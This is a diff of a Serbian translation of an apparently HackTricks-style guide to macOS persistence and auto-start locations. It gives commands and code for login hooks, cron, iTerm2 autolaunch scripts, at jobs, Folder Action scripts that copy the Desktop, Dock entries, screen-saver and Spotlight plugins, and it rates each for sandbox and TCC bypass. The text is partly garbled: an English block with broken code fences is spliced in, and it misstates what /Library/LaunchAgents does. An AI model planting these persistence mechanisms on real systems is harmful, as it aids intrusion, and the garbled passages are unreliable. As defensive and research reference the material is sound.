Isprobajte sa:
|
||||
```bash
|
||||
# Prepare the payload
|
||||
cat > /tmp/test.terminal << EOF
|
||||
|
@ -271,7 +299,7 @@ open /tmp/test.terminal
|
|||
Možete takođe koristiti ekstenzije **`.command`**, **`.tool`**, sa redovnim sadržajem skripti ljuske i one će takođe biti otvorene pomoću Terminala.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ako Terminal ima **Pristup celom disku**, biće u mogućnosti da završi tu akciju (imajte na umu da će izvršena komanda biti vidljiva u prozoru Terminala).
|
||||
Ako Terminal ima **Pristup celom disku**, biće u mogućnosti da završi tu radnju (imajte na umu da će izvršena komanda biti vidljiva u prozoru Terminala).
|
||||
{% endhint %}
|
||||
|
||||
### Audio dodaci
|
||||
|
@ -281,7 +309,7 @@ Objašnjenje: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](htt
|
|||
|
||||
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC zaobilaženje: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Možda ćete dobiti dodatni pristup TCC-u
|
||||
* Možda ćete dobiti dodatni TCC pristup
|
||||
|
||||
#### Lokacija
|
||||
|
||||
|
@ -299,15 +327,15 @@ Objašnjenje: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](htt
|
|||
|
||||
#### Opis
|
||||
|
||||
Prema prethodnim objašnjenjima, moguće je **kompajlirati neke audio dodatke** i učitati ih.
|
||||
Prema prethodnim objašnjenjima moguće je **kompajlirati neke audio dodatke** i učitati ih.
|
||||
|
||||
### QuickLook dodaci
|
||||
### Dodaci QuickLook
|
||||
|
||||
Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)
|
||||
|
||||
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC zaobilaženje: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Možda ćete dobiti dodatni pristup TCC-u
|
||||
* Možda ćete dobiti dodatni TCC pristup
|
||||
|
||||
#### Lokacija
|
||||
|
||||
|
@ -319,11 +347,11 @@ Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevi
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
QuickLook dodaci mogu biti izvršeni kada **pokrenete pregled datoteke** (pritisnite taster razmaka dok je datoteka izabrana u Finderu) i **dodatak koji podržava taj tip datoteke** je instaliran.
|
||||
Dodaci QuickLook mogu se izvršiti kada **pokrenete pregled datoteke** (pritisnite taster razmaka dok je datoteka izabrana u Finderu) i instaliran je **dodatak koji podržava taj tip datoteke**.
|
||||
|
||||
Moguće je kompajlirati svoj QuickLook dodatak, smestiti ga na jednu od prethodnih lokacija da ga učitate, a zatim otići do podržane datoteke i pritisnuti razmak da ga pokrenete.
|
||||
Moguće je kompajlirati svoj vlastiti dodatak QuickLook, postaviti ga na jednoj od prethodnih lokacija da ga učitate, a zatim otvoriti podržanu datoteku i pritisnuti razmak da je pokrenete.
|
||||
|
||||
### ~~Login/Logout kuke~~
|
||||
### ~~Kuke za prijavljivanje/odjavljivanje~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ovo nije radilo za mene, ni sa korisničkom LoginHook ni sa root LogoutHook
|
||||
|
@ -337,9 +365,9 @@ Ovo nije radilo za mene, ni sa korisničkom LoginHook ni sa root LogoutHook
|
|||
#### Lokacija
|
||||
|
||||
* Morate biti u mogućnosti da izvršite nešto poput `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
|
||||
* `Lo`cirano u `~/Library/Preferences/com.apple.loginwindow.plist`
|
||||
* `Nalazi se u` `~/Library/Preferences/com.apple.loginwindow.plist`
|
||||
|
||||
Oni su zastareli, ali se mogu koristiti za izvršavanje komandi kada se korisnik prijavi.
|
||||
Zastarele su, ali se mogu koristiti za izvršavanje komandi kada se korisnik prijavi.
|
||||
```bash
|
||||
cat > $HOME/hook.sh << EOF
|
||||
#!/bin/bash
|
||||
|
@ -368,20 +396,20 @@ defaults delete com.apple.loginwindow LogoutHook
|
|||
```
|
||||
Root korisnik se čuva u **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
|
||||
|
||||
## Uslovna Bypass Sandbox-a
|
||||
## Uslovna Bypass peska
|
||||
|
||||
{% hint style="success" %}
|
||||
Ovde možete pronaći lokacije pokretanja korisne za **bypass sandbox-a** koji vam omogućava da jednostavno izvršite nešto tako što to **upišete u datoteku** i **očekujete ne baš česte uslove** poput specifičnih **instaliranih programa, "neobičnih" korisničkih** radnji ili okruženja.
|
||||
Ovde možete pronaći lokacije pokretanja korisne za **bypass peska** koji vam omogućava da jednostavno izvršite nešto tako što to **upišete u datoteku** i **očekujete ne baš česte uslove** poput specifičnih **instaliranih programa, "neobičnih" korisničkih** radnji ili okruženja.
|
||||
{% endhint %}
|
||||
|
||||
### Cron
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
|
||||
**Objašnjenje**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
|
||||
|
||||
* Korisno za zaobilaženje sandbox-a: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Međutim, potrebno je moći izvršiti `crontab` binarnu datoteku
|
||||
* Ili biti root
|
||||
* TCC bypass: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* TCC zaobilaženje: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Lokacija
|
||||
|
||||
|
@ -402,7 +430,7 @@ Na macOS-u se mogu pronaći nekoliko foldera koji izvršavaju skripte sa **odre
|
|||
# The one with the cron jobs is /usr/lib/cron/tabs/
|
||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
||||
```
|
||||
Ovde možete pronaći redovne **cron** **poslove**, **at** **poslove** (koji se retko koriste) i **periodične** **poslove** (uglavnom korišćene za čišćenje privremenih fajlova). Dnevni periodični poslovi mogu biti izvršeni na primer sa: `periodic daily`.
|
||||
Evo gde možete pronaći redovne **cron** **poslove**, **at** **poslove** (koji se retko koriste) i **periodične** **poslove** (uglavnom korišćene za čišćenje privremenih fajlova). Dnevni periodični poslovi mogu biti izvršeni na primer sa: `periodic daily`.
|
||||
|
||||
Za dodavanje **korisničkog cron posla programatski** moguće je koristiti:
|
||||
```bash
|
||||
|
@ -415,7 +443,7 @@ Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevi
|
|||
|
||||
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC zaobilaženje: [✅](https://emojipedia.org/check-mark-button)
|
||||
* iTerm2 je koristio odobrene TCC dozvole
|
||||
* iTerm2 je koristio dodeljene TCC dozvole
|
||||
|
||||
#### Lokacije
|
||||
|
||||
|
@ -437,15 +465,35 @@ EOF
|
|||
|
||||
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
|
||||
```
|
||||
### macOS Auto Start Locations
|
||||
```markdown
|
||||
## macOS Auto Start Locations
|
||||
|
||||
#### Launch Agents
|
||||
### Launch Agents
|
||||
|
||||
Launch Agents are used to run processes when a user logs in. They are located in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
|
||||
Launch Agents are used to run processes at the **user** level when a user logs in. They are located in:
|
||||
|
||||
#### Launch Daemons
|
||||
```
|
||||
```html
|
||||
~/Library/LaunchAgents/
|
||||
```
|
||||
|
||||
Launch Daemons are used to run processes at system boot or login. They are located in `/Library/LaunchDaemons/` and `/System/Library/LaunchDaemons/`.
|
||||
### Global Launch Agents
|
||||
|
||||
Global Launch Agents are used to launch daemons at the **system** level when the system boots up. They are located in:
|
||||
|
||||
```
|
||||
```html
|
||||
/Library/LaunchAgents/
|
||||
```
|
||||
|
||||
### Launch Daemons
|
||||
|
||||
Launch Daemons are used to launch processes at the **system** level when the system boots up. They are located in:
|
||||
|
||||
```
|
||||
```html
|
||||
/Library/LaunchDaemons/
|
||||
```
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
||||
#!/usr/bin/env python3
|
||||
|
@ -555,7 +603,7 @@ EOF
|
|||
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ali BetterTouchTool mora biti instaliran
|
||||
* TCC zaobilaženje: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Zahteva dozvole za automatizaciju prečica i pristupačnost
|
||||
* Zahteva dozvole za automatizaciju prečica i pristupačnosti
|
||||
|
||||
#### Lokacija
|
||||
|
||||
|
@ -568,13 +616,13 @@ Ovaj alat omogućava označavanje aplikacija ili skripti za izvršavanje kada se
|
|||
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ali Alfred mora biti instaliran
|
||||
* TCC zaobilaženje: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Zahteva dozvole za automatizaciju, pristupačnost pa čak i pristup celom disku
|
||||
* Zahteva dozvole za automatizaciju, pristupačnost i čak pristup celom disku
|
||||
|
||||
#### Lokacija
|
||||
|
||||
* `???`
|
||||
|
||||
Omogućava kreiranje radnih tokova koji mogu izvršiti kod kada se ispune određeni uslovi. Potencijalno je moguće da napadač kreira datoteku radnog toka i natera Alfred da je učita (potrebno je platiti premium verziju za korišćenje radnih tokova).
|
||||
Omogućava kreiranje radnih tokova koji mogu izvršiti kod kada se ispune određeni uslovi. Potencijalno je moguće da napadač kreira datoteku radnog toka i natera Alfreda da je učita (potrebno je platiti premium verziju za korišćenje radnih tokova).
|
||||
|
||||
### SSHRC
|
||||
|
||||
|
@ -616,14 +664,14 @@ Analiza: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.
|
|||
|
||||
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
|
||||
* **Okidač:** Prijavljivanje
|
||||
* Eksploatacioni payload sačuvan pozivanjem **`osascript`**
|
||||
* Eksploatacija payloada pozivanjem **`osascript`**
|
||||
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
|
||||
* **Okidač:** Prijavljivanje
|
||||
* Potreban je root
|
||||
|
||||
#### Opis
|
||||
|
||||
U Sistemskim postavkama -> Korisnici & Grupa -> **Stavke za prijavljivanje** možete pronaći **stavke koje će se izvršiti kada se korisnik prijavi**.\
|
||||
U Sistemskim postavkama -> Korisnici & Grupa -> **Stavke za prijavljivanje** možete pronaći **stavke koje će se izvršiti prilikom prijavljivanja korisnika**.\
|
||||
Moguće ih je izlistati, dodati i ukloniti sa komandne linije:
|
||||
```bash
|
||||
#List all items:
|
||||
|
@ -641,11 +689,11 @@ Ovi predmeti se čuvaju u datoteci **`~/Library/Application Support/com.apple.ba
|
|||
|
||||
### ZIP kao stavka za prijavljivanje
|
||||
|
||||
(Pogledajte prethodni odeljak o stavkama za prijavljivanje, ovo je proširenje)
|
||||
(Pogledajte prethodni odeljak o Stavkama za prijavljivanje, ovo je proširenje)
|
||||
|
||||
Ako sačuvate **ZIP** datoteku kao **stavku za prijavljivanje**, **`Archive Utility`** će je otvoriti, a ako je zip na primer sačuvan u **`~/Library`** i sadrži fasciklu **`LaunchAgents/file.plist`** sa zadnjim vratima, ta fascikla će biti kreirana (to nije podrazumevano) i plist će biti dodat tako da sledeći put kada se korisnik ponovo prijavi, **zadnja vrata naznačena u plist-u će biti izvršena**.
|
||||
Ako sačuvate **ZIP** datoteku kao **Stavku za prijavljivanje**, **`Archive Utility`** će je otvoriti, a ako je zip na primer sačuvan u **`~/Library`** i sadrži fasciklu **`LaunchAgents/file.plist`** sa zadnjim vratima, ta fascikla će biti kreirana (to nije podrazumevano) i plist će biti dodat tako da će sledeći put kada se korisnik ponovo prijavi, **zadnja vrata naznačena u plist-u će biti izvršena**.
|
||||
|
||||
Druga opcija bila bi da se kreiraju datoteke **`.bash_profile`** i **`.zshenv`** unutar korisničkog HOME-a tako da ako fascikla LaunchAgents već postoji, ova tehnika bi i dalje radila.
|
||||
Druga opcija bi bila da se kreiraju datoteke **`.bash_profile`** i **`.zshenv`** unutar korisničkog HOME-a tako da ako fascikla LaunchAgents već postoji, ova tehnika bi i dalje radila.
|
||||
|
||||
### At
|
||||
|
||||
|
@ -661,7 +709,7 @@ Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevi
|
|||
|
||||
#### **Opis**
|
||||
|
||||
`at` zadaci su dizajnirani za **planiranje jednokratnih zadataka** koji će biti izvršeni u određeno vreme. Za razliku od cron poslova, `at` zadaci se automatski uklanjaju nakon izvršenja. Bitno je napomenuti da su ovi zadaci postojani nakon ponovnog pokretanja sistema, što ih čini potencijalnim sigurnosnim problemima u određenim uslovima.
|
||||
`at` zadaci su dizajnirani za **planiranje jednokratnih zadataka** koji će biti izvršeni u određeno vreme. Za razliku od cron poslova, `at` zadaci se automatski uklanjaju nakon izvršenja. Bitno je napomenuti da su ovi zadaci postojani nakon ponovnog pokretanja sistema, što ih čini potencijalnim sigurnosnim rizikom u određenim uslovima.
|
||||
|
||||
Podrazumevano su **onemogućeni**, ali **root** korisnik može **omogućiti** **njih** sa:
|
||||
```bash
|
||||
|
@ -712,7 +760,7 @@ echo 11 > /tmp/at.txt
|
|||
Ako AT zadaci nisu omogućeni, kreirani zadaci neće biti izvršeni.
|
||||
{% endhint %}
|
||||
|
||||
**Job fajlovi** se mogu pronaći na `/private/var/at/jobs/`
|
||||
**Fajlovi posla** mogu se pronaći na `/private/var/at/jobs/`
|
||||
```
|
||||
sh-3.2# ls -l /private/var/at/jobs/
|
||||
total 32
|
||||
|
@ -727,38 +775,38 @@ Fajl sadrži red, broj posla i vreme kada je zakazan da se pokrene. Na primer, p
|
|||
* `0001a` - broj posla u heksadecimalnom formatu, `0x1a = 26`
|
||||
* `019bdcd2` - vreme u heksadecimalnom formatu. Predstavlja minute koje su prošle od epohe. `0x019bdcd2` je `26991826` u decimalnom formatu. Ako ga pomnožimo sa 60 dobijamo `1619509560`, što je `GMT: 2021. April 27., utorak 7:46:00`.
|
||||
|
||||
Ako odštampamo fajl sa poslom, otkrivamo da sadrži iste informacije koje smo dobili koristeći `at -c`.
|
||||
Ako odštampamo fajl posla, otkrivamo da sadrži iste informacije koje smo dobili koristeći `at -c`.
|
||||
|
||||
### Akcije Foldera
|
||||
### Akcije fascikle
|
||||
|
||||
Analiza: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
|
||||
Analiza: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
|
||||
|
||||
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ali morate moći da pozovete `osascript` sa argumentima da biste kontaktirali **`System Events`** kako biste mogli konfigurisati Akcije Foldera
|
||||
* Ali morate moći da pozovete `osascript` sa argumentima da biste kontaktirali **`System Events`** kako biste mogli konfigurisati Akcije fascikle
|
||||
* TCC zaobilaženje: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Ima neka osnovna TCC odobrenja poput Desktopa, Dokumenata i Preuzimanja
|
||||
* Ima neka osnovna TCC odobrenja poput Desktop, Documents i Downloads
|
||||
|
||||
#### Lokacija
|
||||
|
||||
* **`/Library/Scripts/Folder Action Scripts`**
|
||||
* Potreban je root
|
||||
* **Okidač**: Pristup određenom folderu
|
||||
* **Okidač**: Pristup određenoj fascikli
|
||||
* **`~/Library/Scripts/Folder Action Scripts`**
|
||||
* **Okidač**: Pristup određenom folderu
|
||||
* **Okidač**: Pristup određenoj fascikli
|
||||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Akcije Foldera su skripte koje se automatski pokreću promenama u folderu poput dodavanja, uklanjanja stavki ili drugih akcija poput otvaranja ili promene veličine prozora foldera. Ove akcije mogu se koristiti za različite zadatke i mogu se pokrenuti na različite načine poput korišćenja Finder UI-a ili terminalskih komandi.
|
||||
Akcije fascikle su skripte koje se automatski pokreću promenama u fascikli poput dodavanja, uklanjanja stavki ili drugih akcija poput otvaranja ili promene veličine prozora fascikle. Ove akcije mogu se koristiti za različite zadatke i mogu se pokrenuti na različite načine poput korišćenja Finder UI-a ili terminalskih komandi.
|
||||
|
||||
Za postavljanje Akcija Foldera, imate opcije kao što su:
|
||||
Za postavljanje Akcija fascikle, imate opcije kao što su:
|
||||
|
||||
1. Kreiranje radnog toka Akcije Foldera sa [Automatorom](https://support.apple.com/guide/automator/welcome/mac) i instaliranje kao servis.
|
||||
2. Ručno povezivanje skripte putem Postavke Akcija Foldera u kontekstualnom meniju foldera.
|
||||
3. Korišćenje OSAScripta za slanje Apple Event poruka aplikaciji `System Events.app` radi programskog postavljanja Akcije Foldera.
|
||||
* Ovaj metod je posebno koristan za ugradnju akcije u sistem, pružajući nivo postojanosti.
|
||||
1. Kreiranje radnog toka Akcije fascikle sa [Automator](https://support.apple.com/guide/automator/welcome/mac) i instaliranje kao servis.
|
||||
2. Ručno prilaganje skripte putem Postavke Akcija fascikle u kontekst meniju fascikle.
|
||||
3. Korišćenje OSAScript-a za slanje Apple Event poruka aplikaciji `System Events.app` za programsko postavljanje Akcije fascikle.
|
||||
* Ovaj metod je posebno koristan za ugradnju akcije u sistem, nudeći nivo postojanosti.
|
||||
|
||||
Naredni skript je primer onoga što može biti izvršeno putem Akcije Foldera:
|
||||
Naredni skript je primer onoga što može biti izvršeno pomoću Akcije fascikle:
|
||||
```applescript
|
||||
// source.js
|
||||
var app = Application.currentApplication();
|
||||
|
@ -768,7 +816,7 @@ app.doShellScript("touch ~/Desktop/folderaction.txt");
|
|||
app.doShellScript("mkdir /tmp/asd123");
|
||||
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
||||
```
|
||||
Da biste napravili gore navedeni skript upotrebljivim pomoću Folder akcija, kompajlirajte ga koristeći:
|
||||
Da biste napravili gore navedeni skript upotrebljivim za Akcije fascikle, kompajlirajte ga koristeći:
|
||||
```bash
|
||||
osacompile -l JavaScript -o folder.scpt source.js
|
||||
```
|
||||
|
@ -782,11 +830,11 @@ var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
|
|||
se.folderActions.push(fa);
|
||||
fa.scripts.push(myScript);
|
||||
```
|
||||
Pokrenite skriptu postavki pomoću:
|
||||
Pokrenite postavku skripte sa:
|
||||
```bash
|
||||
osascript -l JavaScript /Users/username/attach.scpt
|
||||
```
|
||||
* Ovo je način da implementirate ovu postojanost putem GUI-ja:
|
||||
* Ovo je način da implementirate ovu postojanost putem GUI-a:
|
||||
|
||||
Ovo je skripta koja će biti izvršena:
|
||||
|
||||
|
@ -803,7 +851,7 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
|||
|
||||
Kompajlirajte ga sa: `osacompile -l JavaScript -o folder.scpt source.js`
|
||||
|
||||
Pomerite ga na:
|
||||
Premestite ga na:
|
||||
```bash
|
||||
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
|
@ -814,7 +862,7 @@ Zatim otvorite aplikaciju `Folder Actions Setup`, izaberite **folder koji želit
|
|||
|
||||
Sada, ako otvorite taj folder sa **Finder**-om, vaš skript će biti izvršen.
|
||||
|
||||
Ova konfiguracija je sačuvana u **plist** fajlu koji se nalazi u **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** u base64 formatu.
|
||||
Ova konfiguracija je sačuvana u **plist** fajlu smeštenom u **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** u base64 formatu.
|
||||
|
||||
Sada, hajde da pokušamo da pripremimo ovu postojanost bez pristupa GUI-ju:
|
||||
|
||||
|
@ -848,7 +896,7 @@ Tekst: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.gi
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Sve aplikacije koje se pojave u Dock-u su navedene u plist-u: **`~/Library/Preferences/com.apple.dock.plist`**
|
||||
Sve aplikacije koje se pojave u Dock-u su navedene unutar plist fajla: **`~/Library/Preferences/com.apple.dock.plist`**
|
||||
|
||||
Moguće je **dodati aplikaciju** samo sa:
|
||||
|
||||
|
@ -917,7 +965,7 @@ killall Dock
|
|||
```
|
||||
### Birači boja
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
|
||||
Opis: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
|
||||
|
||||
* Korisno za zaobilaženje peska: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Potrebno je izvršiti vrlo specifičnu radnju
|
||||
|
@ -936,7 +984,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.g
|
|||
|
||||
**Kompajlirajte birač boja** paket sa vašim kodom (možete koristiti [**ovaj na primer**](https://github.com/viktorstrate/color-picker-plus)) i dodajte konstruktor (kao u [odeljku o čuvarima ekrana](macos-auto-start-locations.md#screen-saver)) i kopirajte paket u `~/Library/ColorPickers`.
|
||||
|
||||
Zatim, kada se birač boja pokrene, vaš bi trebao takođe.
|
||||
Zatim, kada se birač boja pokrene, vaš kod takođe treba da se pokrene.
|
||||
|
||||
Imajte na umu da binarni fajl koji učitava vašu biblioteku ima **vrlo restriktivan pesak**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
|
||||
|
||||
|
@ -956,7 +1004,7 @@ Imajte na umu da binarni fajl koji učitava vašu biblioteku ima **vrlo restrikt
|
|||
**Opis**: [https://theevilbit.github.io/beyond/beyond\_0026/](https://theevilbit.github.io/beyond/beyond\_0026/)\
|
||||
**Opis**: [https://objective-see.org/blog/blog\_0x11.html](https://objective-see.org/blog/blog\_0x11.html)
|
||||
|
||||
* Korisno za zaobilaženje peska: **Ne, jer morate izvršiti svoju sopstvenu aplikaciju**
|
||||
* Korisno za zaobilaženje peska: **Ne, jer morate izvršiti svoju aplikaciju**
|
||||
* TCC zaobilaženje: ???
|
||||
|
||||
#### Lokacija
|
||||
|
@ -967,7 +1015,7 @@ Imajte na umu da binarni fajl koji učitava vašu biblioteku ima **vrlo restrikt
|
|||
|
||||
Primer aplikacije sa Finder Sync Ekstenzijom [**može se pronaći ovde**](https://github.com/D00MFist/InSync).
|
||||
|
||||
Aplikacije mogu imati `Finder Sync Ekstenzije`. Ova ekstenzija će biti smeštena unutar aplikacije koja će biti izvršena. Štaviše, da bi ekstenzija mogla da izvrši svoj kod, **mora biti potpisana** nekim validnim Apple-ovim sertifikatom, mora biti **u pesku** (mada se mogu dodati opuštena izuzetka) i mora biti registrovana sa nečim poput:
|
||||
Aplikacije mogu imati `Finder Sync Ekstenzije`. Ova ekstenzija će biti smeštena unutar aplikacije koja će biti izvršena. Štaviše, da bi ekstenzija mogla da izvrši svoj kod, **mora biti potpisana** nekim važećim Apple-ovim sertifikatom za razvoj, mora biti **u pesku** (mada se mogu dodati opuštena izuzetka) i mora biti registrovana sa nečim poput:
|
||||
```bash
|
||||
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
|
||||
pluginkit -e use -i com.example.InSync.InSync
|
||||
|
@ -975,7 +1023,7 @@ pluginkit -e use -i com.example.InSync.InSync
|
|||
### Screen Saver
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
|
||||
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf5b)
|
||||
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
|
||||
|
||||
* Korisno za zaobilaženje peska: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Ali završićete u zajedničkom aplikacionom pesku
|
||||
|
@ -1015,7 +1063,7 @@ Timestamp (process)[PID]
|
|||
Imajte na umu da zato što se unutar dozvola binarnog koda koji učitava ovaj kod (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) možete pronaći **`com.apple.security.app-sandbox`** bićete **unutar zajedničkog aplikacionog peska**.
|
||||
{% endhint %}
|
||||
|
||||
Kod čuvara ekrana:
|
||||
Kod čuvara:
|
||||
```objectivec
|
||||
//
|
||||
// ScreenSaverExampleView.m
|
||||
|
@ -1096,10 +1144,10 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
|
|||
* **Okidač**: Kreiran je novi fajl sa ekstenzijom koju upravlja dodatak Spotlight-a.
|
||||
* `/Library/Spotlight/`
|
||||
* **Okidač**: Kreiran je novi fajl sa ekstenzijom koju upravlja dodatak Spotlight-a.
|
||||
* Potreban je root
|
||||
* Potreban je root pristup
|
||||
* `/System/Library/Spotlight/`
|
||||
* **Okidač**: Kreiran je novi fajl sa ekstenzijom koju upravlja dodatak Spotlight-a.
|
||||
* Potreban je root
|
||||
* Potreban je root pristup
|
||||
* `Some.app/Contents/Library/Spotlight/`
|
||||
* **Okidač**: Kreiran je novi fajl sa ekstenzijom koju upravlja dodatak Spotlight-a.
|
||||
* Potrebna je nova aplikacija
|
||||
|
@ -1107,11 +1155,11 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
|
|||
#### Opis & Eksploatacija
|
||||
|
||||
Spotlight je ugrađena pretraga macOS-a, dizajnirana da korisnicima pruži **brz i sveobuhvatan pristup podacima na njihovim računarima**.\
|
||||
Da bi olakšala ovu brzu mogućnost pretrage, Spotlight održava **svoju bazu podataka** i kreira indeks **parsiranjem većine fajlova**, omogućavajući brze pretrage kako kroz imena fajlova tako i kroz njihov sadržaj.
|
||||
Da bi olakšala ovu brzu mogućnost pretrage, Spotlight održava **vlastitu bazu podataka** i kreira indeks **parsiranjem većine fajlova**, omogućavajući brze pretrage kako kroz imena fajlova tako i kroz njihov sadržaj.
|
||||
|
||||
Osnovni mehanizam Spotlight-a uključuje centralni proces nazvan 'mds', što označava **'metadata server'**. Ovaj proces orkestrira celu uslugu Spotlight-a. Kao dopuna tome, postoje više 'mdworker' demona koji obavljaju različite zadatke održavanja, kao što je indeksiranje različitih tipova fajlova (`ps -ef | grep mdworker`). Ovi zadaci su omogućeni putem dodataka Spotlight-a, ili **".mdimporter paketa**", koji omogućavaju Spotlight-u da razume i indeksira sadržaj preko raznovrsnog spektra formata fajlova.
|
||||
Osnovni mehanizam Spotlight-a uključuje centralni proces nazvan 'mds', što označava **'metadata server'**. Ovaj proces orkestrira celu uslugu Spotlight-a. Kao dopuna tome, postoje više 'mdworker' demona koji obavljaju različite zadatke održavanja, kao što je indeksiranje različitih tipova fajlova (`ps -ef | grep mdworker`). Ovi zadaci su mogući zahvaljujući dodacima Spotlight-a, ili **".mdimporter paketima**", koji omogućavaju Spotlight-u da razume i indeksira sadržaj preko raznovrsnog spektra formata fajlova.
|
||||
|
||||
Dodaci ili **`.mdimporter`** paketi se nalaze na prethodno pomenutim mestima i ako se pojavi novi paket, učitan je u roku od minuta (nije potrebno ponovno pokretati bilo koji servis). Ovi paketi moraju naznačiti koje **tipove fajlova i ekstenzije mogu upravljati**, na ovaj način, Spotlight će ih koristiti kada se kreira novi fajl sa naznačenom ekstenzijom.
|
||||
Dodaci ili **`.mdimporter`** paketi se nalaze na prethodno pomenutim mestima i ako se pojavi novi paket, učitan je u roku od minuta (nije potrebno ponovno pokretati bilo koji servis). Ovi paketi moraju naznačiti koje **tipove fajlova i ekstenzije mogu upravljati**, na taj način, Spotlight će ih koristiti kada se kreira novi fajl sa naznačenom ekstenzijom.
|
||||
|
||||
Moguće je **pronaći sve `mdimportere`** koji su učitani pokretanjem:
|
||||
```bash
|
||||
|
@ -1122,7 +1170,7 @@ Paths: id(501) (
|
|||
"/System/Library/Spotlight/PDF.mdimporter",
|
||||
[...]
|
||||
```
|
||||
I na primer **/Library/Spotlight/iBooksAuthor.mdimporter** se koristi za parsiranje ovih vrsta fajlova (ekstenzije `.iba` i `.book` između ostalih):
|
||||
Na primer, **/Library/Spotlight/iBooksAuthor.mdimporter** se koristi za parsiranje ovih vrsta fajlova (ekstenzije `.iba` i `.book` među ostalima):
|
||||
```json
|
||||
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
||||
|
||||
|
@ -1159,17 +1207,17 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
[...]
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Ako proverite Plist drugog `mdimporter`-a, možda nećete pronaći unos **`UTTypeConformsTo`**. To je zato što je to ugrađeni _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) i ne mora da specificira ekstenzije.
|
||||
Ako proverite Plist drugog `mdimporter`-a, možda nećete pronaći unos **`UTTypeConformsTo`**. To je zato što je to ugrađeni _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) i ne treba specificirati ekstenzije.
|
||||
|
||||
Štaviše, sistemski podrazumevani dodaci uvek imaju prednost, tako da napadač može pristupiti samo datotekama koje nisu indeksirane od strane Apple-ovih `mdimporters`-a.
|
||||
